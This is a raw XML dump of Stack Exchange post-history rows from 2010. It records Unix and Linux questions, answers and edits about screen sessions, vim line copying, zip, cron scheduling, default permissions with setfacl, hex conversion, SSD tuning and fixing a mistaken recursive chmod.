  <row Id="2502" PostHistoryTypeId="2" PostId="1307" RevisionGUID="844eac6f-25dd-46c4-ae39-bdd1ac655a9a" CreationDate="2010-08-27T03:59:04.887" UserId="773" Text="Try using `screen -RR`. &#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ screen -ls&#xD;&#xA;    There are screens on:&#xD;&#xA;        5958.pts-3.sys01	(08/26/2010 11:40:43 PM)	(Detached)&#xD;&#xA;        5850.pts-1.sys01	(08/26/2010 11:40:35 PM)	(Detached)&#xD;&#xA;    2 Sockets in /var/run/screen/S-sdn.&#xD;&#xA;&#xD;&#xA;Note that screen 5958 is the youngest. Using `screen -RR` connects to screen 5958. The `-RR` options is somewhat further explained in the documentation for `-d -RR`.&#xD;&#xA;&#xD;&#xA;       -d -RR  Reattach a session and if necessary detach or  create  it.  Use&#xD;&#xA;               the first session if more than one session is available.&#xD;&#xA;&#xD;&#xA;Another trick I often use is to use `-S` to give the screen a tag/label. Then you can reattach using that tag without having to remember what was happening in each screen if the list gets unwieldy.&#xD;&#xA;&#xD;&#xA;Example (Launch a screen for using curl -- perhaps to download some file):&#xD;&#xA;&#xD;&#xA;    $ screen -S curl&#xD;&#xA;    &#xD;&#xA;And then, at a later date, you can easily reconnect using the the tag `curl`.&#xD;&#xA;&#xD;&#xA;    # screen -R curl&#xD;&#xA;" />
  <row Id="2503" PostHistoryTypeId="5" PostId="1307" RevisionGUID="a0e04349-bc77-49e1-ad71-f0eb35b98fd1" CreationDate="2010-08-27T04:06:26.670" UserId="773" Comment="Corrected some grammar and added screen output of screen -list" Text="Try using `screen -RR`. &#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ screen -ls&#xD;&#xA;    There are screens on:&#xD;&#xA;        5958.pts-3.sys01	(08/26/2010 11:40:43 PM)	(Detached)&#xD;&#xA;        5850.pts-1.sys01	(08/26/2010 11:40:35 PM)	(Detached)&#xD;&#xA;    2 Sockets in /var/run/screen/S-sdn.&#xD;&#xA;&#xD;&#xA;Note that screen 5958 is the youngest. Using `screen -RR` connects to screen 5958. The `-RR` options is somewhat further explained in the documentation for `-d -RR`.&#xD;&#xA;&#xD;&#xA;       -d -RR  Reattach a session and if necessary detach or  create  it.  Use&#xD;&#xA;               the first session if more than one session is available.&#xD;&#xA;&#xD;&#xA;Another trick I often use is to use `-S` to give the screen a tag/label. Then you can reattach using that tag without having to remember what was happening in each screen if the list gets unwieldy.&#xD;&#xA;&#xD;&#xA;Example (Launch screens for vim and curl):&#xD;&#xA;&#xD;&#xA;    $ screen -dm -S curl&#xD;&#xA;    $ screen -dm -S vim &#xD;&#xA;    $ screen -list&#xD;&#xA;&#xD;&#xA;    There are screens on:  &#xD;&#xA;	    11292.vim	    (08/27/2010 12:02:53 AM)	    (Detached)&#xD;&#xA;	    11273.curl	    (08/27/2010 12:01:42 AM)	    (Detached)&#xD;&#xA;&#xD;&#xA;_Note: The `-dm` option was just used to start a detached screen_&#xD;&#xA;&#xD;&#xA;And then, at a later date, you can easily reconnect using the tag `curl`.&#xD;&#xA;&#xD;&#xA;    # screen -R curl&#xD;&#xA;" />
  <row Id="2504" PostHistoryTypeId="5" PostId="1306" RevisionGUID="017c4540-28d9-4802-b8b3-b7a591e12a37" CreationDate="2010-08-27T04:48:29.030" UserId="160" Comment="Added colon" Text="Try:&#xD;&#xA;&#xD;&#xA;    :4co11&#xD;&#xA;&#xD;&#xA;You can use an argument of `0` to paste to line `1`.  This will also work with ranges:&#xD;&#xA;&#xD;&#xA;    :m,n co k&#xD;&#xA;&#xD;&#xA;will copy lines `m` through `n` to line `k+1`.  In addition it doesn't matter where you are in the buffer.  The `move` command, `m`, works similarly." />
  <row Id="2505" PostHistoryTypeId="2" PostId="1308" RevisionGUID="be5c06ef-f3b4-4c86-a1d3-837a9c985576" CreationDate="2010-08-27T05:52:01.467" UserId="1269" Text="AFAIK, this is not the derivation, but ...&#xD;&#xA;&#xD;&#xA;&gt; `wheel` is for real people, whereas `users` is for losers.&#xD;&#xA;&#xD;&#xA;At least that's the way some Unix sysadm's think :-)." />
  <row Id="2506" PostHistoryTypeId="2" PostId="1309" RevisionGUID="e8762bdc-0603-4530-8888-0c5057562e1f" CreationDate="2010-08-27T06:13:24.207" UserId="1270" Text="I want to zip numerous files from different directories(paths) in one line. How can I do that?*&#xD;&#xA;&#xD;&#xA;*And can please someone add a &quot;zip&quot; tag to this question" />
  <row Id="2507" PostHistoryTypeId="1" PostId="1309" RevisionGUID="e8762bdc-0603-4530-8888-0c5057562e1f" CreationDate="2010-08-27T06:13:24.207" UserId="1270" Text="How to zip individual files from different directories in one line?" />
  <row Id="2508" PostHistoryTypeId="3" PostId="1309" RevisionGUID="e8762bdc-0603-4530-8888-0c5057562e1f" CreationDate="2010-08-27T06:13:24.207" UserId="1270" Text="éfilesàédirectoryà" />
  <row Id="2509" PostHistoryTypeId="6" PostId="1309" RevisionGUID="32e3d670-50a8-418d-888a-2083f965a34c" CreationDate="2010-08-27T06:17:10.397" UserId="659" Comment="edited tags" Text="éfilesàédirectoryàézipà" />
  <row Id="2510" PostHistoryTypeId="5" PostId="1309" RevisionGUID="cdfc131b-b673-43c6-ad8a-f275ba011959" CreationDate="2010-08-27T06:23:46.137" UserId="1270" Comment="deleted 61 characters in body" Text="I want to zip numerous files from different directories(paths) in one line. How can I do that?" />
  <row Id="2511" PostHistoryTypeId="2" PostId="1310" RevisionGUID="6af47265-d9b0-490a-8f83-62ada653f393" CreationDate="2010-08-27T06:24:03.410" UserId="73" Text="I'm probably misunderstanding you, but you just specify the paths one after the other:&#xD;&#xA;&#xD;&#xA;    zip foo.zip /path/to/first/file /path/to/second/file" />
  <row Id="2512" PostHistoryTypeId="5" PostId="1260" RevisionGUID="46b1d90c-a660-4b39-84c8-a0e87f519365" CreationDate="2010-08-27T07:13:48.683" UserId="1186" Comment="deleted 70 characters in body" Text="If you use bash i suggest `pushd` and `popd`. You can create a stack of directory and browse it rapidly. See this example:&#xD;&#xA;&#xD;&#xA;    PWD:~$ pushd /opt/google/chrome/resources/&#xD;&#xA;    /opt/google/chrome/resources ~&#xD;&#xA;    PWD:/opt/google/chrome/resources$ pushd /etc/cron.daily/&#xD;&#xA;    /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    PWD:/etc/cron.daily$ pushd /opt/pac/lib/method/&#xD;&#xA;    /opt/pac/lib/method /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    PWD:/opt/pac/lib/method$ popd&#xD;&#xA;    /etc/cron.daily /opt/google/chrome/resources ~&#xD;&#xA;    PWD:/etc/cron.daily$ popd&#xD;&#xA;    /opt/google/chrome/resources ~&#xD;&#xA;    PWD:/opt/google/chrome/resources$ popd&#xD;&#xA;    ~&#xD;&#xA;    PWD:~$" />
  <row Id="2513" PostHistoryTypeId="2" PostId="1311" RevisionGUID="52b2866e-df82-4257-b279-7b139bdf9831" CreationDate="2010-08-27T10:32:49.013" UserId="305" Text="I'm not sure about state now but Apple is know for play of cat and mouse. You may find one day that update of software of iPod had broken its compatibly with Linux by completly redesigning its format.&#xD;&#xA;&#xD;&#xA;Until one day someone reverse engeneer the new format and supplied patches for projects. It lasts as long as Apple would not decide to switch format again.&#xD;&#xA;&#xD;&#xA;In short: iPod is not the best player for Linux enthusiast but when you have it you may be able to use it.&#xD;&#xA;&#xD;&#xA;PS. Also Banshee have iPod support" />
  <row Id="2514" PostHistoryTypeId="6" PostId="1304" RevisionGUID="56887266-e1ce-4f9b-beba-58657b4745e4" CreationDate="2010-08-27T10:33:34.303" UserId="305" Comment="edited tags" Text="ésoftwareàéhardwareöcompatibilityà" />
  <row Id="2515" PostHistoryTypeId="5" PostId="1287" RevisionGUID="bff95074-0935-4232-bb9f-8101e4239d71" CreationDate="2010-08-27T11:43:11.967" UserDisplayName="Roger Pate" Comment="added 41 characters in body" Text="    0 0 * * Thu bash -c '(($(date +\%s) / 86400 \% 14))' &amp;&amp; your-script&#xD;&#xA;&#xD;&#xA;I used bash to do my math because I'm lazy; switch that to whatever you like.  I take advantage of January 1, 1970 being a Thursday; for other days of the week you'd have to apply an offset.  Cron needs the percent signs escaped.&#xD;&#xA;&#xD;&#xA;Quick check:&#xD;&#xA;&#xD;&#xA;    function check {&#xD;&#xA;      when=$(date --date=&quot;$1 $(($RANDOM % 24)):$(($RANDOM % 60))&quot; --utc)&#xD;&#xA;      echo -n &quot;$when: &quot;&#xD;&#xA;      (($(date +%s --date=&quot;$when&quot;) / 86400 % 14)) &amp;&amp; echo run || echo skip&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    for start in &quot;2010-12-02&quot; &quot;2011-12-01&quot;; do&#xD;&#xA;      for x in $(seq 0 12); do&#xD;&#xA;        check &quot;$start + $(($x * 7)) days&quot;&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Note I've chosen random times to show this will work if run anytime on Thursday, and dates which cross year boundaries plus include months with both 4 and 5 Thursdays.&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    Thu Dec  2 06:19:00 UTC 2010: run&#xD;&#xA;    Thu Dec  9 23:04:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 16 05:37:00 UTC 2010: run&#xD;&#xA;    Thu Dec 23 12:49:00 UTC 2010: skip&#xD;&#xA;    Thu Dec 30 03:59:00 UTC 2010: run&#xD;&#xA;    Thu Jan  6 11:29:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 13 13:23:00 UTC 2011: run&#xD;&#xA;    Thu Jan 20 20:33:00 UTC 2011: skip&#xD;&#xA;    Thu Jan 27 16:48:00 UTC 2011: run&#xD;&#xA;    Thu Feb  3 17:43:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 10 05:49:00 UTC 2011: run&#xD;&#xA;    Thu Feb 17 08:46:00 UTC 2011: skip&#xD;&#xA;    Thu Feb 24 06:50:00 UTC 2011: run&#xD;&#xA;    &#xD;&#xA;    Thu Dec  1 21:40:00 UTC 2011: run&#xD;&#xA;    Thu Dec  8 23:24:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 15 22:27:00 UTC 2011: run&#xD;&#xA;    Thu Dec 22 02:47:00 UTC 2011: skip&#xD;&#xA;    Thu Dec 29 12:44:00 UTC 2011: run&#xD;&#xA;    Thu Jan  5 17:59:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 12 18:31:00 UTC 2012: run&#xD;&#xA;    Thu Jan 19 04:51:00 UTC 2012: skip&#xD;&#xA;    Thu Jan 26 08:02:00 UTC 2012: run&#xD;&#xA;    Thu Feb  2 17:37:00 UTC 2012: skip&#xD;&#xA;    Thu Feb  9 14:08:00 UTC 2012: run&#xD;&#xA;    Thu Feb 16 18:50:00 UTC 2012: skip&#xD;&#xA;    Thu Feb 23 15:52:00 UTC 2012: run&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2516" PostHistoryTypeId="2" PostId="1312" RevisionGUID="906779e3-f034-4f29-a5fd-4dd11bf55b85" CreationDate="2010-08-27T11:46:47.197" UserDisplayName="andre klapper" Text="As this would cover any Bugzilla installation I wonder if there is a recommend way upstream for this." />
  <row Id="2520" PostHistoryTypeId="2" PostId="1314" RevisionGUID="e842aec6-ff39-4cbd-a1ed-09d1d9ee419b" CreationDate="2010-08-27T13:50:59.117" UserId="1253" Text="I want to set a folder such that anything created within it (directories, files) inherit default permissions and group.  &#xD;&#xA;&#xD;&#xA;Lets call the group &quot;media&quot;.  And also, the folders/files created within the directory should have g+rw automatically.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am fairly certain there is a way to do this and cannot think of what its called at the moment.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2521" PostHistoryTypeId="1" PostId="1314" RevisionGUID="e842aec6-ff39-4cbd-a1ed-09d1d9ee419b" CreationDate="2010-08-27T13:50:59.117" UserId="1253" Text="How to set default file permissions for all folders/files in a directory?" />
  <row Id="2522" PostHistoryTypeId="3" PostId="1314" RevisionGUID="e842aec6-ff39-4cbd-a1ed-09d1d9ee419b" CreationDate="2010-08-27T13:50:59.117" UserId="1253" Text="épermissionsàédirectoryà" />
  <row Id="2523" PostHistoryTypeId="2" PostId="1315" RevisionGUID="f946c43a-e0e1-4581-aa1e-904eeea86ba4" CreationDate="2010-08-27T13:52:36.697" UserId="1253" Text="I found it: [Applying default permissions][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxquestions.org/questions/linux-desktop-74/applying-default-permissions-for-newly-created-files-within-a-specific-folder-605129/" />
  <row Id="2524" PostHistoryTypeId="5" PostId="1315" RevisionGUID="484b3a14-ee3b-488f-bbca-624777dab2a3" CreationDate="2010-08-27T13:59:41.720" UserId="1253" Comment="added 482 characters in body" Text="I found it: [Applying default permissions][1]&#xD;&#xA;&#xD;&#xA;From the article:&#xD;&#xA;&#xD;&#xA;    chmod g+s media  //set sticky bit so media is default group&#xD;&#xA;    setfacl -d -m g::rwx /&lt;directory&gt;  //set group to rwx default &#xD;&#xA;    setfacl -d -m o::rx /&lt;directory&gt;   //set owner&#xD;&#xA;&#xD;&#xA;Next we can verify: &#xD;&#xA;&#xD;&#xA;    getfacl /&lt;directory&gt;&#xD;&#xA;&#xD;&#xA;Output: &#xD;&#xA;&#xD;&#xA;    # file: ../&lt;directory&gt;/&#xD;&#xA;    # owner: &lt;user&gt;&#xD;&#xA;    # group: media&#xD;&#xA;    # flags: -s-&#xD;&#xA;    user::rwx&#xD;&#xA;    group::rwx&#xD;&#xA;    other::r-x&#xD;&#xA;    default:user::rwx&#xD;&#xA;    default:group::rwx&#xD;&#xA;    default:other::r-x&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linuxquestions.org/questions/linux-desktop-74/applying-default-permissions-for-newly-created-files-within-a-specific-folder-605129/" />
  <row Id="2525" PostHistoryTypeId="2" PostId="1316" RevisionGUID="b75cd027-b795-4ef6-aed6-5d3bc819b2bf" CreationDate="2010-08-27T15:37:11.300" UserId="275" Text="I'd like to convert ASCII code (like - or _ or . etc) in hexadecimal representation in Unix shell (without bc command), eg : - =&gt; %2d&#xD;&#xA;&#xD;&#xA;any ideas ?" />
  <row Id="2526" PostHistoryTypeId="1" PostId="1316" RevisionGUID="b75cd027-b795-4ef6-aed6-5d3bc819b2bf" CreationDate="2010-08-27T15:37:11.300" UserId="275" Text="Convert ascii code to hexadecimal in UNIX shell script" />
  <row Id="2527" PostHistoryTypeId="3" PostId="1316" RevisionGUID="b75cd027-b795-4ef6-aed6-5d3bc819b2bf" CreationDate="2010-08-27T15:37:11.300" UserId="275" Text="éshellàébashà" />
  <row Id="2528" PostHistoryTypeId="2" PostId="1317" RevisionGUID="6a73357e-4219-427a-b713-effb5c231fde" CreationDate="2010-08-27T15:53:34.730" UserId="1184" Text="There are a few things you can check on to try to improve SSD performance under Linux.  &#xD;&#xA;&#xD;&#xA;1) Set the mount point to 'noatime'.  Extra activity updating access times are generally wasted on most use cases.  Especially in the case of continually pumping single lines into a file, you are forcing multiple updates to the filesystem for every access.&#xD;&#xA;&#xD;&#xA;2) Check the elevator.  The default elevator for most distros are set up for random access spinning platters.  SSD's don't need the extra logic, so setting the elevator to noop can improve performance by letting the hardware manage the writes.&#xD;&#xA;&#xD;&#xA;3) Write-through v write-back caching.  This is a bit more esoteric, but you can check the caching method used with hdparm for the device.  Write-back caching can have a positive impact on SSD performance compared to write-through.&#xD;&#xA;" />
  <row Id="2529" PostHistoryTypeId="2" PostId="1318" RevisionGUID="f9700247-7b70-422b-9ecf-d251ac16e385" CreationDate="2010-08-27T16:01:19.963" UserId="1253" Text="I could not seem to find the question here but I was wondering what experience if any users have had with USB 3.0?  &#xD;&#xA;&#xD;&#xA;My asus p5x58d has usb 3 on it but I have yet to try it out and also do not know much in terms of support.&#xD;&#xA;&#xD;&#xA;I feel this is best as a community wiki where we can share experience on USB 3.0.&#xD;&#xA;&#xD;&#xA;This article discussed briefly linux and usb 3: [http://www.linux.com/news/hardware/peripherals/278579-linux-and-usb-30][1]&#xD;&#xA;Let the comments flow... &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux.com/news/hardware/peripherals/278579-linux-and-usb-30" />
  <row Id="2530" PostHistoryTypeId="1" PostId="1318" RevisionGUID="f9700247-7b70-422b-9ecf-d251ac16e385" CreationDate="2010-08-27T16:01:19.963" UserId="1253" Text="Support for usb 3.0 ? " />
  <row Id="2531" PostHistoryTypeId="3" PostId="1318" RevisionGUID="f9700247-7b70-422b-9ecf-d251ac16e385" CreationDate="2010-08-27T16:01:19.963" UserId="1253" Text="éusbà" />
  <row Id="2532" PostHistoryTypeId="16" PostId="1318" RevisionGUID="f9700247-7b70-422b-9ecf-d251ac16e385" CreationDate="2010-08-27T16:01:19.963" UserId="1253" />
  <row Id="2533" PostHistoryTypeId="2" PostId="1319" RevisionGUID="27bd29a6-0301-4f1d-a5c1-4e7b7f78b268" CreationDate="2010-08-27T16:08:26.693" UserId="73" Text="There's a `printf` tool that simulates the C function; normally it's at `/usr/bin/printf`, but a lot of shells implement built-ins for it as well. You can use `%02x` to get the hex representation of a character, but you need to make sure you pass a string that includes the character in single-quotes:&#xD;&#xA;&#xD;&#xA;    printf &quot;%%%02x\n&quot; &quot;'-'&quot;   # Outputs %2d&#xD;&#xA;&#xD;&#xA;You can make a shell function for convenience:&#xD;&#xA;&#xD;&#xA;    function hex() {&#xD;&#xA;        printf &quot;%%%02x\n&quot; &quot;'$1'&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    hex -   # Outputs %2d&#xD;&#xA;    hex _   # Outputs %5f&#xD;&#xA;    hex .   # Outputs %2e" />
  <row Id="2534" PostHistoryTypeId="5" PostId="1319" RevisionGUID="188de297-e92b-4c40-bbc3-2bdcabfb6295" CreationDate="2010-08-27T16:17:37.277" UserId="73" Comment="added 76 characters in body" Text="There's a `printf` tool that simulates the C function; normally it's at `/usr/bin/printf`, but a lot of shells implement built-ins for it as well. You can use `%02x` to get the hex representation of a character, but you need to make sure you pass a string that includes the character in single-quotes (**Edit**: It turns out just a single-quote at the beginning is sufficient):&#xD;&#xA;&#xD;&#xA;    printf &quot;%%%02x\n&quot; &quot;'-&quot;   # Outputs %2d&#xD;&#xA;&#xD;&#xA;You can make a shell function for convenience:&#xD;&#xA;&#xD;&#xA;    function hex() {&#xD;&#xA;        printf &quot;%%%02x\n&quot; &quot;'$1&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    hex -   # Outputs %2d&#xD;&#xA;    hex _   # Outputs %5f&#xD;&#xA;    hex .   # Outputs %2e&#xD;&#xA;" />
  <row Id="2535" PostHistoryTypeId="2" PostId="1320" RevisionGUID="a95eac8e-c073-47a7-9190-10a08f60f409" CreationDate="2010-08-27T17:02:39.163" UserId="1174" Text="Try `od`:&#xD;&#xA;&#xD;&#xA;&gt; $ echo &quot;-&quot; | od -A n -t x1&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2d 0a&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="2536" PostHistoryTypeId="6" PostId="1318" RevisionGUID="e7ff77e9-90ef-4a90-b30c-01001917dd48" CreationDate="2010-08-27T17:03:40.867" UserId="29" Comment="add drivers and hardware tags" Text="éusbàédriversàéhardwareà" />
  <row Id="2537" PostHistoryTypeId="2" PostId="1321" RevisionGUID="d3ba4255-9da6-4d2f-a92d-c9a0821809a2" CreationDate="2010-08-27T17:41:17.327" UserId="1253" Text="I want to be able to route a portion of my traffic through another machine over SSH.  For example, is it possible to browse the web through the ssh tunnel and also browse the web through your LAN connection without much effort?  (Ie. i want a seamless transition from using tunnel to using lan) &#xD;&#xA;&#xD;&#xA;Thus it is not a simple how to do I tunnel ALL web traffic through ssh tunnel but moreso how can I setup a tunnel that I can use at my discretion but not impeded my normal traffic flow. (Kind of on an as needed basis)  &#xD;&#xA;&#xD;&#xA;I would like the filtered traffic to be encrypted when leaving the lan and it could be ftp, ssh, web, mail whatever traffic.  &#xD;&#xA;&#xD;&#xA;Some questions I think I need to answer/address:&#xD;&#xA;Does this require multiple nics?  &#xD;&#xA;Does this require setting up a proxy?  &#xD;&#xA;Can I even do this the way I want it to function? &#xD;&#xA;&#xD;&#xA;Are there other options aside from a tunnel to achieve the result of having some traffic (user decides) encrypted through another machine (outside the LAN) and have other traffic use the normal flow through the LAN and out into the internet world? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit:  If some of the answers depend on specific traffic types I can be more specific and say that web traffic is a primary focus of this however other traffic such as IM/Email traffic would be desirable." />
  <row Id="2538" PostHistoryTypeId="1" PostId="1321" RevisionGUID="d3ba4255-9da6-4d2f-a92d-c9a0821809a2" CreationDate="2010-08-27T17:41:17.327" UserId="1253" Text="Tunnel traffic through another machine over ssh" />
  <row Id="2539" PostHistoryTypeId="3" PostId="1321" RevisionGUID="d3ba4255-9da6-4d2f-a92d-c9a0821809a2" CreationDate="2010-08-27T17:41:17.327" UserId="1253" Text="ésshàéencryptionàéproxyàétunnelsà" />
  <row Id="2540" PostHistoryTypeId="5" PostId="1320" RevisionGUID="d42bc523-98a3-4d53-a467-5b080b6dfd4f" CreationDate="2010-08-27T18:32:29.473" UserId="1174" Comment="suppress newline &amp; test with more characters &amp; add link to od info page &amp; explain parameters" Text="Try [od][1]:&#xD;&#xA;&#xD;&#xA;&gt; $ echo -n &quot;-_.&quot; | od -A n -t x1&#xD;&#xA;&gt;&#xD;&#xA;&gt; 2d 5f 2e&#xD;&#xA;&#xD;&#xA;`-A n` means do not print offsets and `-t x1` means that the type of the input is hexadecimal integers of 1 byte.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/coreutils/manual/html_node/od-invocation.html#od-invocation" />
  <row Id="2541" PostHistoryTypeId="2" PostId="1322" RevisionGUID="529912e6-b1b3-4e6c-96ae-c3fd8710c803" CreationDate="2010-08-27T19:02:52.287" UserId="387" Text="Assuming this uses pam, it should be as simple as putting two required modules in /etc/pam.d/&lt;whatever&gt;. One for Opie, and one for your other auth. (say, normal UNIX password)" />
  <row Id="2542" PostHistoryTypeId="2" PostId="1323" RevisionGUID="2229ab87-922a-44f2-afda-937912a4db84" CreationDate="2010-08-27T19:03:19.843" UserId="59" Text="Well, to be specific, it was `chmod -R 755`. Now every file is executable, which I don't want.&#xD;&#xA;I am thinking that I should look at the first two bytes of each file for the `#!`, but will this cover everything? Should I instead use `file` to look at everything and base my decision on that? Or, more likely, is there an even better way to do this?&#xD;&#xA;&#xD;&#xA;What is the preferred way to recursively go through a directory and set -x on files that are not 'supposed to be' executable?" />
  <row Id="2543" PostHistoryTypeId="1" PostId="1323" RevisionGUID="2229ab87-922a-44f2-afda-937912a4db84" CreationDate="2010-08-27T19:03:19.843" UserId="59" Text="I accidentally chmod -R +x on everything. How do I restore the correct permissions?" />
  <row Id="2544" PostHistoryTypeId="3" PostId="1323" RevisionGUID="2229ab87-922a-44f2-afda-937912a4db84" CreationDate="2010-08-27T19:03:19.843" UserId="59" Text="ébashàéchmodà" />
  <row Id="2545" PostHistoryTypeId="4" PostId="1323" RevisionGUID="a7eef961-5cc0-4523-bfc0-aab6070cb4f3" CreationDate="2010-08-27T19:12:14.503" UserId="59" Comment="edited title; edited tags" Text="I accidentally chmod -R +x on a directory. How do I restore the correct permissions?" />
  <row Id="2546" PostHistoryTypeId="6" PostId="1323" RevisionGUID="a7eef961-5cc0-4523-bfc0-aab6070cb4f3" CreationDate="2010-08-27T19:12:14.503" UserId="59" Comment="edited title; edited tags" Text="ébashàépermissionsàéchmodà" />
  <row Id="2547" PostHistoryTypeId="2" PostId="1324" RevisionGUID="ab25b93a-9ea6-44d6-ba4b-3519212dcecb" CreationDate="2010-08-27T19:14:37.933" UserId="1278" Text="Unfortunately, you can't rollback.&#xD;&#xA;&#xD;&#xA;If you have a backup, you're in luck. You can create a script that will compare permissions from your backup, and reproduce them on your existing folder." />
  <row Id="2548" PostHistoryTypeId="2" PostId="1325" RevisionGUID="26c4f20b-135e-4c33-9678-db63634d0c1d" CreationDate="2010-08-27T19:42:42.327" UserId="160" Text="Well, without a shebang line, the file will be executed as a shell script, nominally with `/bin/sh`.  You're idea is a good start and on the assumption that the directory in question doesn't contain mission-critical files there probably isn't much risk to executing some `grep` and `chmod` combo.  You may encounter false positives, i.e., files with a shebang line that are not meant to have their executable bit set but without knowing more information on the purpose of what's in the directory, only you can decide whether that poses a significant existential threat to your system and/or data." />
  <row Id="2549" PostHistoryTypeId="2" PostId="1326" RevisionGUID="6a155df2-176a-4af8-91e8-45b622dfba49" CreationDate="2010-08-27T20:01:50.497" UserId="1131" Text="Is it possible to configure process hiding for certain user groups under a linux system?&#xD;&#xA;&#xD;&#xA;For example: Users from group X should not see processes owned by users from group Y in ps/top or under /proc.&#xD;&#xA;&#xD;&#xA;Is it possible to configure such a setup with SELinux?&#xD;&#xA;&#xD;&#xA;(I vaguely remember a similar feature in the funny grsecurity patch set - but IIRC, it was more generic - and besides, I want to configure a stock linux distro without having to maintain a custom kernel.)" />
  <row Id="2550" PostHistoryTypeId="1" PostId="1326" RevisionGUID="6a155df2-176a-4af8-91e8-45b622dfba49" CreationDate="2010-08-27T20:01:50.497" UserId="1131" Text="Hide processes from other users based on groups (under Linux)?" />
  <row Id="2551" PostHistoryTypeId="3" PostId="1326" RevisionGUID="6a155df2-176a-4af8-91e8-45b622dfba49" CreationDate="2010-08-27T20:01:50.497" UserId="1131" Text="ésecurityàéprocessà" />
  <row Id="2552" PostHistoryTypeId="2" PostId="1327" RevisionGUID="1e8638fa-d399-4f32-8c51-bbb38dc53d92" CreationDate="2010-08-27T20:22:54.423" UserId="29" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;*updating...*" />
  <row Id="2553" PostHistoryTypeId="5" PostId="1327" RevisionGUID="401cfec4-df7e-4040-b4df-580f105d799f" CreationDate="2010-08-27T20:28:00.593" UserId="29" Comment="add more info" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;This will strip all non directories of the executable bit for most cases, but I realize this is not exactly what you want. I would start here, and then work my way towards making files that are supposed to be executable, executable." />
  <row Id="2554" PostHistoryTypeId="5" PostId="1327" RevisionGUID="914603ee-7af6-46d3-8593-fffaf0158bcc" CreationDate="2010-08-27T20:35:57.457" UserId="29" Comment="remove something innacurate" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;I would start here, and then work my way towards making files that are supposed to be executable, executable." />
  <row Id="2555" PostHistoryTypeId="5" PostId="1327" RevisionGUID="b982a100-d313-4895-be6e-4cddf60736f2" CreationDate="2010-08-27T20:43:00.780" UserId="29" Comment="ask question" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;I would start here, and then work my way towards making files that are supposed to be executable, executable.&#xD;&#xA;&#xD;&#xA;Were any of the files that need to be executable already executable?" />
  <row Id="2556" PostHistoryTypeId="5" PostId="1327" RevisionGUID="9cb6f64d-ae25-4089-91fb-60919cf978bc" CreationDate="2010-08-27T20:53:10.103" UserId="29" Comment="add code to do the grep" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;I would start here, and then work my way towards making files that are supposed to be executable, executable.&#xD;&#xA;&#xD;&#xA;The following should work exactly as you asked for &#xD;&#xA;&#xD;&#xA;    find . -type f | xargs grep -L #! | xargs chmod ugo-x" />
  <row Id="2557" PostHistoryTypeId="5" PostId="1327" RevisionGUID="8d77c859-13cc-4bf5-b0c4-da143d40ba8a" CreationDate="2010-08-27T21:07:49.903" UserId="29" Comment="add another variant" Text="I believe you will want something like&#xD;&#xA;&#xD;&#xA;`find dir -type f -exec chmod ugo-x '{}' +`&#xD;&#xA;&#xD;&#xA;This looks for all regular files, recursively in dir, (it excludes directories, and devices) and removes the executable bit.&#xD;&#xA;&#xD;&#xA;I would start here, and then work my way towards making files that are supposed to be executable, executable.&#xD;&#xA;&#xD;&#xA;The following should work exactly as you asked for &#xD;&#xA;&#xD;&#xA;    find . -type f | xargs grep -L #! | xargs chmod ugo-x&#xD;&#xA;&#xD;&#xA;possibly a better version of the above (less pipes)&#xD;&#xA;&#xD;&#xA;    find . -type f -exec grep -L #! '{}' + | xargs chmod ugo-x " />
